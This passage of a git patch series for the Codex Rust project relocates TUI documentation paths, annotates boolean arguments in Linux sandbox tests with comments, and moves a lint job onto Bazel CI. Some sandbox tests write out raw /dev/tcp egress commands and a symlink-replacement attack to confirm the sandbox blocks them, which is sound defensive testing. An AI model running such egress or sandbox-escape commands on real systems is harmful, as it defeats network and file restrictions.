`codex-rs/tui/src/streaming/chunking.rs` - Adaptive policy, mode transitions, and drain-plan selection. -- `codex-rs/tui_app_server/src/streaming/commit_tick.rs` +- `codex-rs/tui/src/streaming/commit_tick.rs` - Orchestration for each commit tick: snapshot, decide, drain, trace. -- `codex-rs/tui_app_server/src/streaming/controller.rs` +- `codex-rs/tui/src/streaming/controller.rs` - Queue/drain primitives used by commit-tick orchestration. -- `codex-rs/tui_app_server/src/chatwidget.rs` +- `codex-rs/tui/src/chatwidget.rs` - Integration point that invokes commit-tick orchestration and handles UI lifecycle events. diff --git a/docs/tui-stream-chunking-tuning.md b/docs/tui-stream-chunking-tuning.md index 2d2d92e7eb..d9a2ea5e21 100644 --- a/docs/tui-stream-chunking-tuning.md +++ b/docs/tui-stream-chunking-tuning.md @@ -6,8 +6,8 @@ changing the underlying policy shape. ## Scope Use this guide when adjusting queue-pressure thresholds and hysteresis windows in -`codex-rs/tui_app_server/src/streaming/chunking.rs`, and baseline commit cadence in -`codex-rs/tui_app_server/src/app.rs`. +`codex-rs/tui/src/streaming/chunking.rs`, and baseline commit cadence in +`codex-rs/tui/src/app.rs`. This guide is about tuning behavior, not redesigning the policy. From 65f631c3d671d0328271b4462656d47f5003cde5 Mon Sep 17 00:00:00 2001 From: Michael Bolin Date: Sat, 28 Mar 2026 11:09:41 -0700 Subject: [PATCH 4/5] fix: fix comment linter lint violations in Linux-only code (#16118) https://github.com/openai/codex/pull/16071 took care of this for Windows, so this takes care of things for Linux. We don't touch the CI jobs in this PR because https://github.com/openai/codex/pull/16106 is going to be the real fix there (including a major speedup!). --- codex-rs/exec/tests/suite/sandbox.rs | 4 +- .../linux-sandbox/tests/suite/landlock.rs | 60 ++++++++++--------- .../tests/suite/managed_proxy.rs | 14 ++--- 3 files changed, 42 insertions(+), 36 deletions(-) diff --git a/codex-rs/exec/tests/suite/sandbox.rs b/codex-rs/exec/tests/suite/sandbox.rs index 81b2d44a1a..70f5197e82 100644 --- a/codex-rs/exec/tests/suite/sandbox.rs +++ b/codex-rs/exec/tests/suite/sandbox.rs @@ -51,9 +51,9 @@ async fn spawn_command_under_sandbox( command_cwd, sandbox_policy, sandbox_cwd, - false, + /*use_legacy_landlock*/ false, stdio_policy, - None, + /*network*/ None, env, ) .await diff --git a/codex-rs/linux-sandbox/tests/suite/landlock.rs b/codex-rs/linux-sandbox/tests/suite/landlock.rs index 8e273783b8..ba26c7e221 100644 --- a/codex-rs/linux-sandbox/tests/suite/landlock.rs +++ b/codex-rs/linux-sandbox/tests/suite/landlock.rs @@ -45,7 +45,7 @@ const BWRAP_UNAVAILABLE_ERR: &str = "build-time bubblewrap is not available in t fn create_env_from_core_vars() -> HashMap { let policy = ShellEnvironmentPolicy::default(); - create_env(&policy, None) + create_env(&policy, /*thread_id*/ None) } #[expect(clippy::print_stdout)] @@ -64,9 +64,15 @@ async fn run_cmd_output( writable_roots: &[PathBuf], timeout_ms: u64, ) -> codex_core::exec::ExecToolCallOutput { - run_cmd_result_with_writable_roots(cmd, writable_roots, timeout_ms, false, false) - .await - .expect("sandboxed command should execute") + run_cmd_result_with_writable_roots( + cmd, + writable_roots, + timeout_ms, + /*use_legacy_landlock*/ false, + /*network_access*/ false, + ) + .await + .expect("sandboxed command should execute") } async fn run_cmd_result_with_writable_roots( @@ -137,7 +143,7 @@ async fn run_cmd_result_with_policies( sandbox_cwd.as_path(), &codex_linux_sandbox_exe, use_legacy_landlock, - None, + /*stdout_stream*/ None, ) .await } @@ -158,8 +164,8 @@ async fn should_skip_bwrap_tests() -> bool { &["bash", "-lc", "true"], &[], NETWORK_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await { @@ -219,8 +225,8 @@ async fn test_dev_null_write() { // We have seen timeouts when running this test in CI on GitHub, // so we are using a generous timeout until we can diagnose further. LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await .expect("sandboxed command should execute"); @@ -243,8 +249,8 @@ async fn bwrap_populates_minimal_dev_nodes() { ], &[], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await .expect("sandboxed command should execute"); @@ -281,8 +287,8 @@ async fn bwrap_preserves_writable_dev_shm_bind_mount() { ], &[PathBuf::from("/dev/shm")], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await .expect("sandboxed command should execute"); @@ -328,8 +334,8 @@ async fn sandbox_ignores_missing_writable_roots_under_bwrap() { &["bash", "-lc", "printf sandbox-ok"], &[existing_root, missing_root], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await .expect("sandboxed command should execute"); @@ -360,7 +366,7 @@ async fn test_no_new_privs_is_enabled() { #[tokio::test] #[should_panic(expected = "Sandbox(Timeout")] async fn test_timeout() { - run_cmd(&["sleep", "2"], &[], 50).await; + run_cmd(&["sleep", "2"], &[], /*timeout_ms*/ 50).await; } /// Helper that runs `cmd` under the Linux sandbox and asserts that the command @@ -397,8 +403,8 @@ async fn assert_network_blocked(cmd: &[&str]) { NetworkSandboxPolicy::from(&sandbox_policy), sandbox_cwd.as_path(), &codex_linux_sandbox_exe, - false, - None, + /*use_legacy_landlock*/ false, + /*stdout_stream*/ None, ) .await; @@ -473,8 +479,8 @@ async fn sandbox_blocks_git_and_codex_writes_inside_writable_root() { ], &[tmpdir.path().to_path_buf()], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await, ".git write should be denied under bubblewrap", @@ -489,8 +495,8 @@ async fn sandbox_blocks_git_and_codex_writes_inside_writable_root() { ], &[tmpdir.path().to_path_buf()], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await, ".codex write should be denied under bubblewrap", @@ -526,8 +532,8 @@ async fn sandbox_blocks_codex_symlink_replacement_attack() { ], &[tmpdir.path().to_path_buf()], LONG_TIMEOUT_MS, - false, - true, + /*use_legacy_landlock*/ false, + /*network_access*/ true, ) .await, ".codex symlink replacement should be denied", @@ -598,7 +604,7 @@ async fn sandbox_blocks_explicit_split_policy_carveouts_under_bwrap() { file_system_sandbox_policy, NetworkSandboxPolicy::Enabled, LONG_TIMEOUT_MS, - false, + /*use_legacy_landlock*/ false, ) .await, "explicit split-policy carveout should be denied under bubblewrap", @@ -680,7 +686,7 @@ async fn sandbox_reenables_writable_subpaths_under_unreadable_parents() { file_system_sandbox_policy, NetworkSandboxPolicy::Enabled, LONG_TIMEOUT_MS, - false, + /*use_legacy_landlock*/ false, ) .await .expect("nested writable carveout should execute under bubblewrap"); @@ -731,7 +737,7 @@ async fn sandbox_blocks_root_read_carveouts_under_bwrap() { file_system_sandbox_policy, NetworkSandboxPolicy::Enabled, LONG_TIMEOUT_MS, - false, + /*use_legacy_landlock*/ false, ) .await, "root-read carveout should be denied under bubblewrap", diff --git a/codex-rs/linux-sandbox/tests/suite/managed_proxy.rs b/codex-rs/linux-sandbox/tests/suite/managed_proxy.rs index 4d7aa2ac7c..53d1852c93 100644 --- a/codex-rs/linux-sandbox/tests/suite/managed_proxy.rs +++ b/codex-rs/linux-sandbox/tests/suite/managed_proxy.rs @@ -44,7 +44,7 @@ const PROXY_ENV_KEYS: &[&str] = &[ fn create_env_from_core_vars() -> HashMap { let policy = ShellEnvironmentPolicy::default(); - create_env(&policy, None) + create_env(&policy, /*thread_id*/ None) } fn strip_proxy_env(env: &mut HashMap) { @@ -66,7 +66,7 @@ async fn should_skip_bwrap_tests() -> bool { let output = run_linux_sandbox_direct( &["bash", "-c", "true"], &SandboxPolicy::new_read_only_policy(), - false, + /*allow_network_for_proxy*/ false, env, NETWORK_TIMEOUT_MS, ) @@ -92,7 +92,7 @@ async fn managed_proxy_skip_reason() -> Option { let output = run_linux_sandbox_direct( &["bash", "-c", "true"], &SandboxPolicy::DangerFullAccess, - true, + /*allow_network_for_proxy*/ true, env, NETWORK_TIMEOUT_MS, ) @@ -171,7 +171,7 @@ async fn managed_proxy_mode_fails_closed_without_proxy_env() { let output = run_linux_sandbox_direct( &["bash", "-c", "true"], &SandboxPolicy::DangerFullAccess, - true, + /*allow_network_for_proxy*/ true, env, NETWORK_TIMEOUT_MS, ) @@ -226,7 +226,7 @@ async fn managed_proxy_mode_routes_through_bridge_and_blocks_direct_egress() { "proxy=\"${HTTP_PROXY#*://}\"; host=\"${proxy%%:*}\"; port=\"${proxy##*:}\"; exec 3<>/dev/tcp/${host}/${port}; printf 'GET http://example.com/ HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n' >&3; IFS= read -r line <&3; printf '%s\\n' \"$line\"", ], &SandboxPolicy::DangerFullAccess, - true, + /*allow_network_for_proxy*/ true, env.clone(), NETWORK_TIMEOUT_MS, ) @@ -257,7 +257,7 @@ async fn managed_proxy_mode_routes_through_bridge_and_blocks_direct_egress() { let direct_egress_output = run_linux_sandbox_direct( &["bash", "-c", "echo hi > /dev/tcp/192.0.2.1/80"], &SandboxPolicy::DangerFullAccess, - true, + /*allow_network_for_proxy*/ true, env, NETWORK_TIMEOUT_MS, ) @@ -295,7 +295,7 @@ async fn managed_proxy_mode_denies_af_unix_creation_for_user_command() { "import socket,sys\ntry:\n socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\nexcept PermissionError:\n sys.exit(0)\nexcept OSError:\n sys.exit(2)\nsys.exit(1)\n", ], &SandboxPolicy::DangerFullAccess, - true, + /*allow_network_for_proxy*/ true, env, NETWORK_TIMEOUT_MS, ) From 5ffa06bab909570cfa637c0f46febb27358da2c7 Mon Sep 17 00:00:00 2001 From: Michael Bolin Date: Sat, 28 Mar 2026 11:09:46 -0700 Subject: [PATCH 5/5] ci: run argument-comment-lint through bazel package tests --- .bazelrc | 5 + .github/actions/setup-bazel-ci/action.yml | 8 +- .github/workflows/bazel.yml | 2 + .github/workflows/rust-ci-full.yml | 31 ++- .github/workflows/rust-ci.yml | 65 ++++-- MODULE.bazel | 37 ++++ MODULE.bazel.lock | 64 ++++++ codex-rs/BUILD.bazel | 14 ++ defs.bzl | 25 +++ justfile | 14 +- tools/argument-comment-lint/BUILD.bazel | 32 +++ tools/argument-comment-lint/Cargo.toml | 3 + tools/argument-comment-lint/README.md | 20 +- tools/argument-comment-lint/driver.rs | 43 ++++ tools/argument-comment-lint/lint_aspect.bzl | 187 ++++++++++++++++++ tools/argument-comment-lint/src/lib.rs | 1 + .../test_wrapper_common.py | 20 ++ tools/argument-comment-lint/wrapper_common.py | 5 +- 18 files changed, 525 insertions(+), 51 deletions(-) create mode 100644 tools/argument-comment-lint/BUILD.bazel create mode 100644 tools/argument-comment-lint/driver.rs create mode 100644 tools/argument-comment-lint/lint_aspect.bzl diff --git a/.bazelrc b/.bazelrc index 340871831a..b9275426fa 100644 --- a/.bazelrc +++ b/.bazelrc @@ -77,6 +77,11 @@ build:clippy --aspects=@rules_rust//rust:defs.bzl%rust_clippy_aspect build:clippy --output_groups=+clippy_checks build:clippy --@rules_rust//rust/settings:clippy.toml=//codex-rs:clippy.toml +# Shared config for Bazel-backed argument-comment-lint. +build:argument-comment-lint --aspects=//tools/argument-comment-lint:lint_aspect.bzl%rust_argument_comment_lint_aspect +build:argument-comment-lint --output_groups=argument_comment_lint_checks +build:argument-comment-lint --@rules_rust//rust/toolchain/channel=nightly + # Rearrange caches on Windows so they're on the same volume as the checkout. common:ci-windows --config=ci-bazel common:ci-windows --build_metadata=TAG_os=windows diff --git a/.github/actions/setup-bazel-ci/action.yml b/.github/actions/setup-bazel-ci/action.yml index 0775f928a5..34bbd40b19 100644 --- a/.github/actions/setup-bazel-ci/action.yml +++ b/.github/actions/setup-bazel-ci/action.yml @@ -57,9 +57,11 @@ runs: if: runner.os == 'Windows' shell: pwsh run: | - # Use a very short path to reduce argv/path length issues, but avoid the - # drive root because some Windows test launchers mis-handle MANIFEST paths there. - "BAZEL_OUTPUT_USER_ROOT=D:\b" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append + # Use the shortest available drive to reduce argv/path length issues, + # but avoid the drive root because some Windows test launchers mis-handle + # MANIFEST paths there. + $bazelOutputUserRoot = if (Test-Path 'D:\') { 'D:\b' } else { 'C:\b' } + "BAZEL_OUTPUT_USER_ROOT=$bazelOutputUserRoot" | Out-File -FilePath $env:GITHUB_ENV -Encoding utf8 -Append - name: Enable Git long paths (Windows) if: runner.os == 'Windows' diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 2636213af9..a6c9277b61 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -81,6 +81,7 @@ jobs: --use-node-test-env \ -- \ test \ + --test_tag_filters=-argument-comment-lint \ --test_verbose_timeout_warnings \ --build_metadata=COMMIT_SHA=${GITHUB_SHA} \ -- \ @@ -98,6 +99,7 @@ jobs: key: bazel-cache-${{ matrix.target }}-${{ hashFiles('MODULE.bazel', 'codex-rs/Cargo.lock', 'codex-rs/Cargo.toml') }} clippy: + timeout-minutes: 30 strategy: fail-fast: false matrix: diff --git a/.github/workflows/rust-ci-full.yml b/.github/workflows/rust-ci-full.yml index 43ce57cd47..9480c05379 100644 --- a/.github/workflows/rust-ci-full.yml +++ b/.github/workflows/rust-ci-full.yml @@ -73,6 +73,7 @@ jobs: argument_comment_lint_prebuilt: name: Argument comment lint - ${{ matrix.name }} runs-on: ${{ matrix.runs_on || matrix.runner }} + timeout-minutes: 30 strategy: fail-fast: false matrix: @@ -88,29 +89,27 @@ jobs: labels: codex-windows-x64 steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + - uses: ./.github/actions/setup-bazel-ci + with: + target: ${{ runner.os }} + install-test-prereqs: true - name: Install Linux sandbox build dependencies if: ${{ runner.os == 'Linux' }} shell: bash run: | sudo DEBIAN_FRONTEND=noninteractive apt-get update sudo DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends pkg-config libcap-dev - - uses: dtolnay/rust-toolchain@a0b273b48ed29de4470960879e8381ff45632f26 # 1.93.0 - with: - toolchain: nightly-2025-09-18 - components: llvm-tools-preview, rustc-dev, rust-src - - uses: facebook/install-dotslash@1e4e7b3e07eaca387acb98f1d4720e0bee8dbb6a # v2 - - name: Run argument comment lint on codex-rs - if: ${{ runner.os == 'macOS' }} + - name: Run argument comment lint on codex-rs via Bazel shell: bash - run: python3 ./tools/argument-comment-lint/run-prebuilt-linter.py - - name: Run argument comment lint on codex-rs (default targets only) - if: ${{ runner.os == 'Linux' }} - shell: bash - run: python3 ./tools/argument-comment-lint/run-prebuilt-linter.py -- --lib --bins - - name: Run argument comment lint on codex-rs - if: ${{ runner.os == 'Windows' }} - shell: bash - run: python ./tools/argument-comment-lint/run-prebuilt-linter.py + run: | + ./.github/scripts/run-bazel-ci.sh \ + -- \ + build \ + --config=argument-comment-lint \ + --keep_going \ + --build_metadata=COMMIT_SHA=${GITHUB_SHA} \ + -- \ + //codex-rs/... # --- CI to validate on different os/targets -------------------------------- lint_build: diff --git a/.github/workflows/rust-ci.yml b/.github/workflows/rust-ci.yml index f993bccbe7..a655b3071e 100644 --- a/.github/workflows/rust-ci.yml +++ b/.github/workflows/rust-ci.yml @@ -93,9 +93,16 @@ jobs: steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 - uses: dtolnay/rust-toolchain@a0b273b48ed29de4470960879e8381ff45632f26 # 1.93.0 - with: - toolchain: nightly-2025-09-18 - components: llvm-tools-preview, rustc-dev, rust-src + - name: Install nightly argument-comment-lint toolchain + shell: bash + run: | + rustup toolchain install nightly-2025-09-18 \ + --profile minimal \ + --component llvm-tools-preview \ + --component rustc-dev \ + --component rust-src \ + --no-self-update + rustup default nightly-2025-09-18 - name: Cache cargo-dylint tooling id: cargo_dylint_cache uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7 # v5 @@ -121,6 +128,7 @@ jobs: argument_comment_lint_prebuilt: name: Argument comment lint - ${{ matrix.name }} runs-on: ${{ matrix.runs_on || matrix.runner }} + timeout-minutes: ${{ matrix.timeout_minutes }} needs: changed if: ${{ needs.changed.outputs.argument_comment_lint == 'true' || needs.changed.outputs.workflows == 'true' }} strategy: @@ -129,40 +137,57 @@ jobs: include: - name: Linux runner: ubuntu-24.04 + timeout_minutes: 30 - name: macOS runner: macos-15-xlarge + timeout_minutes: 30 - name: Windows runner: windows-x64 + timeout_minutes: 30 runs_on: group: codex-runners labels: codex-windows-x64 steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + - uses: ./.github/actions/setup-bazel-ci + with: + target: ${{ runner.os }} + install-test-prereqs: true - name: Install Linux sandbox build dependencies if: ${{ runner.os == 'Linux' }} shell: bash run: | sudo DEBIAN_FRONTEND=noninteractive apt-get update sudo DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends pkg-config libcap-dev - - uses: dtolnay/rust-toolchain@a0b273b48ed29de4470960879e8381ff45632f26 # 1.93.0 - with: - toolchain: nightly-2025-09-18 - components: llvm-tools-preview, rustc-dev, rust-src - - uses: facebook/install-dotslash@1e4e7b3e07eaca387acb98f1d4720e0bee8dbb6a # v2 - - name: Run argument comment lint on codex-rs - if: ${{ runner.os == 'macOS' }} - shell: bash - run: python3 ./tools/argument-comment-lint/run-prebuilt-linter.py - # Linux still uses the default-targets-only form for now, but PRs run the - # released linter on all three platforms so wrapper regressions surface pre-merge. - - name: Run argument comment lint on codex-rs (default targets only) - if: ${{ runner.os == 'Linux' }} - shell: bash - run: python3 ./tools/argument-comment-lint/run-prebuilt-linter.py -- --lib --bins - - name: Run argument comment lint on codex-rs + - name: Install nightly argument-comment-lint toolchain if: ${{ runner.os == 'Windows' }} shell: bash - run: python ./tools/argument-comment-lint/run-prebuilt-linter.py + run: | + rustup toolchain install nightly-2025-09-18 \ + --profile minimal \ + --component llvm-tools-preview \ + --component rustc-dev \ + --component rust-src \ + --no-self-update + rustup default nightly-2025-09-18 + - name: Run argument comment lint on codex-rs via Bazel + if: ${{ runner.os != 'Windows' }} + env: + BUILDBUDDY_API_KEY: ${{ secrets.BUILDBUDDY_API_KEY }} + shell: bash + run: | + ./.github/scripts/run-bazel-ci.sh \ + -- \ + build \ + --config=argument-comment-lint \ + --keep_going \ + --build_metadata=COMMIT_SHA=${GITHUB_SHA} \ + -- \ + //codex-rs/... + - name: Run argument comment lint on codex-rs via packaged wrapper + if: ${{ runner.os == 'Windows' }} + shell: bash + run: python3 ./tools/argument-comment-lint/run-prebuilt-linter.py # --- Gatherer job that you mark as the ONLY required status ----------------- results: diff --git a/MODULE.bazel b/MODULE.bazel index 63a86bf830..8163c0b018 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -87,6 +87,17 @@ rules_rust.patch( ) use_repo(rules_rust, "rules_rust") +nightly_rust = use_extension( + "@rules_rs//rs/experimental:rules_rust_reexported_extensions.bzl", + "rust", +) +nightly_rust.toolchain( + versions = ["nightly/2025-09-18"], + dev_components = True, + edition = "2024", +) +use_repo(nightly_rust, "rust_toolchains") + toolchains = use_extension("@rules_rs//rs/experimental/toolchains:module_extension.bzl", "toolchains") toolchains.toolchain( edition = "2024", @@ -95,6 +106,7 @@ toolchains.toolchain( use_repo(toolchains, "default_rust_toolchains") register_toolchains("@default_rust_toolchains//:all") +register_toolchains("@rust_toolchains//:all") crate = use_extension("@rules_rs//rs:extensions.bzl", "crate") crate.from_cargo( @@ -117,6 +129,24 @@ crate.from_cargo( ], use_experimental_platforms = True, ) +crate.from_cargo( + name = "argument_comment_lint_crates", + cargo_lock = "//tools/argument-comment-lint:Cargo.lock", + cargo_toml = "//tools/argument-comment-lint:Cargo.toml", + platform_triples = [ + "aarch64-unknown-linux-gnu", + "aarch64-unknown-linux-musl", + "aarch64-apple-darwin", + "aarch64-pc-windows-msvc", + "aarch64-pc-windows-gnullvm", + "x86_64-unknown-linux-gnu", + "x86_64-unknown-linux-musl", + "x86_64-apple-darwin", + "x86_64-pc-windows-msvc", + "x86_64-pc-windows-gnullvm", + ], + use_experimental_platforms = True, +) bazel_dep(name = "zstd", version = "1.5.7") @@ -136,7 +166,14 @@ crate.annotation( ], ) +crate.annotation( + # The build script only validates embedded source/version metadata. + crate = "rustc_apfloat", + gen_build_script = "off", +) + inject_repo(crate, "zstd") +use_repo(crate, "argument_comment_lint_crates") bazel_dep(name = "bzip2", version = "1.0.8.bcr.3") diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 9e7ff69455..53c145b6d0 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -611,7 +611,9 @@ "anstyle-query_1.1.5": "{\"dependencies\":[{\"features\":[\"Win32_System_Console\",\"Win32_Foundation\"],\"name\":\"windows-sys\",\"req\":\">=0.60.2, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "anstyle-wincon_3.0.11": "{\"dependencies\":[{\"name\":\"anstyle\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"lexopt\",\"req\":\"^0.3.1\"},{\"name\":\"once_cell_polyfill\",\"req\":\"^1.56.1\",\"target\":\"cfg(windows)\"},{\"features\":[\"Win32_System_Console\",\"Win32_Foundation\"],\"name\":\"windows-sys\",\"req\":\">=0.60.2, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{}}", "anstyle_1.0.13": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"lexopt\",\"req\":\"^0.3.0\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.5\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", + "anstyle_1.0.14": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"lexopt\",\"req\":\"^0.3.1\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.23\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "anyhow_1.0.101": "{\"dependencies\":[{\"name\":\"backtrace\",\"optional\":true,\"req\":\"^0.3.51\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0.6\"},{\"features\":[\"full\"],\"kind\":\"dev\",\"name\":\"syn\",\"req\":\"^2.0\"},{\"kind\":\"dev\",\"name\":\"thiserror\",\"req\":\"^2\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.108\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", + "anyhow_1.0.102": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0.6\"},{\"features\":[\"full\"],\"kind\":\"dev\",\"name\":\"syn\",\"req\":\"^2.0\"},{\"kind\":\"dev\",\"name\":\"thiserror\",\"req\":\"^2\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.108\"}],\"features\":{\"backtrace\":[],\"default\":[\"std\"],\"std\":[]}}", "arbitrary_1.4.2": "{\"dependencies\":[{\"name\":\"derive_arbitrary\",\"optional\":true,\"req\":\"~1.4.0\"},{\"kind\":\"dev\",\"name\":\"exhaustigen\",\"req\":\"^0.1.0\"}],\"features\":{\"derive\":[\"derive_arbitrary\"]}}", "arboard_3.6.1": "{\"dependencies\":[{\"features\":[\"std\"],\"name\":\"clipboard-win\",\"req\":\"^5.3.1\",\"target\":\"cfg(windows)\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.10.2\"},{\"default_features\":false,\"features\":[\"png\"],\"name\":\"image\",\"optional\":true,\"req\":\"^0.25\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"},{\"default_features\":false,\"features\":[\"tiff\"],\"name\":\"image\",\"optional\":true,\"req\":\"^0.25\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"default_features\":false,\"features\":[\"png\",\"bmp\"],\"name\":\"image\",\"optional\":true,\"req\":\"^0.25\",\"target\":\"cfg(windows)\"},{\"name\":\"log\",\"req\":\"^0.4\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"},{\"name\":\"log\",\"req\":\"^0.4\",\"target\":\"cfg(windows)\"},{\"name\":\"objc2\",\"req\":\"^0.6.0\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"default_features\":false,\"features\":[\"std\",\"objc2-core-graphics\",\"NSPasteboard\",\"NSPasteboardItem\",\"NSImage\"],\"name\":\"objc2-app-kit\",\"req\":\"^0.3.0\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"default_features\":false,\"features\":[\"std\",\"CFCGTypes\"],\"name\":\"objc2-core-foundation\",\"optional\":true,\"req\":\"^0.3.0\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"default_features\":false,\"features\":[\"std\",\"CGImage\",\"CGColorSpace\",\"CGDataProvider\"],\"name\":\"objc2-core-graphics\",\"optional\":true,\"req\":\"^0.3.0\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"default_features\":false,\"features\":[\"std\",\"NSArray\",\"NSString\",\"NSEnumerator\",\"NSGeometry\",\"NSValue\"],\"name\":\"objc2-foundation\",\"req\":\"^0.3.0\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"name\":\"parking_lot\",\"req\":\"^0.12\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"},{\"name\":\"percent-encoding\",\"req\":\"^2.3.1\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"},{\"features\":[\"Win32_Foundation\",\"Win32_Storage_FileSystem\",\"Win32_System_DataExchange\",\"Win32_System_Memory\",\"Win32_System_Ole\",\"Win32_UI_Shell\"],\"name\":\"windows-sys\",\"req\":\">=0.52.0, <0.61.0\",\"target\":\"cfg(windows)\"},{\"name\":\"wl-clipboard-rs\",\"optional\":true,\"req\":\"^0.9.0\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"},{\"name\":\"x11rb\",\"req\":\"^0.13\",\"target\":\"cfg(all(unix, not(any(target_os=\\\"macos\\\", target_os=\\\"android\\\", target_os=\\\"emscripten\\\"))))\"}],\"features\":{\"core-graphics\":[\"dep:objc2-core-graphics\"],\"default\":[\"image-data\"],\"image\":[\"dep:image\"],\"image-data\":[\"dep:objc2-core-graphics\",\"dep:objc2-core-foundation\",\"image\",\"windows-sys\",\"core-graphics\"],\"wayland-data-control\":[\"wl-clipboard-rs\"],\"windows-sys\":[\"windows-sys/Win32_Graphics_Gdi\"],\"wl-clipboard-rs\":[\"dep:wl-clipboard-rs\"]}}", "arc-swap_1.9.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"adaptive-barrier\",\"req\":\"~1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"~0.7\"},{\"kind\":\"dev\",\"name\":\"crossbeam-utils\",\"req\":\"~0.8\"},{\"kind\":\"dev\",\"name\":\"itertools\",\"req\":\"^0.14\"},{\"kind\":\"dev\",\"name\":\"num_cpus\",\"req\":\"~1\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"~1\"},{\"kind\":\"dev\",\"name\":\"parking_lot\",\"req\":\"~0.12\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1\"},{\"name\":\"rustversion\",\"req\":\"^1\"},{\"features\":[\"rc\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.130\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0.177\"}],\"features\":{\"experimental-strategies\":[],\"experimental-thread-local\":[],\"internal-test-strategies\":[],\"weak\":[]}}", @@ -658,6 +660,7 @@ "bit-vec_0.6.3": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"rand_xorshift\",\"req\":\"^0.2\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"}],\"features\":{\"default\":[\"std\"],\"serde_no_std\":[\"serde/alloc\"],\"serde_std\":[\"std\",\"serde/std\"],\"std\":[]}}", "bitflags_1.3.2": "{\"dependencies\":[{\"name\":\"compiler_builtins\",\"optional\":true,\"req\":\"^0.1.2\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.3\"}],\"features\":{\"default\":[],\"example_generated\":[],\"rustc-dep-of-std\":[\"core\",\"compiler_builtins\"]}}", "bitflags_2.10.0": 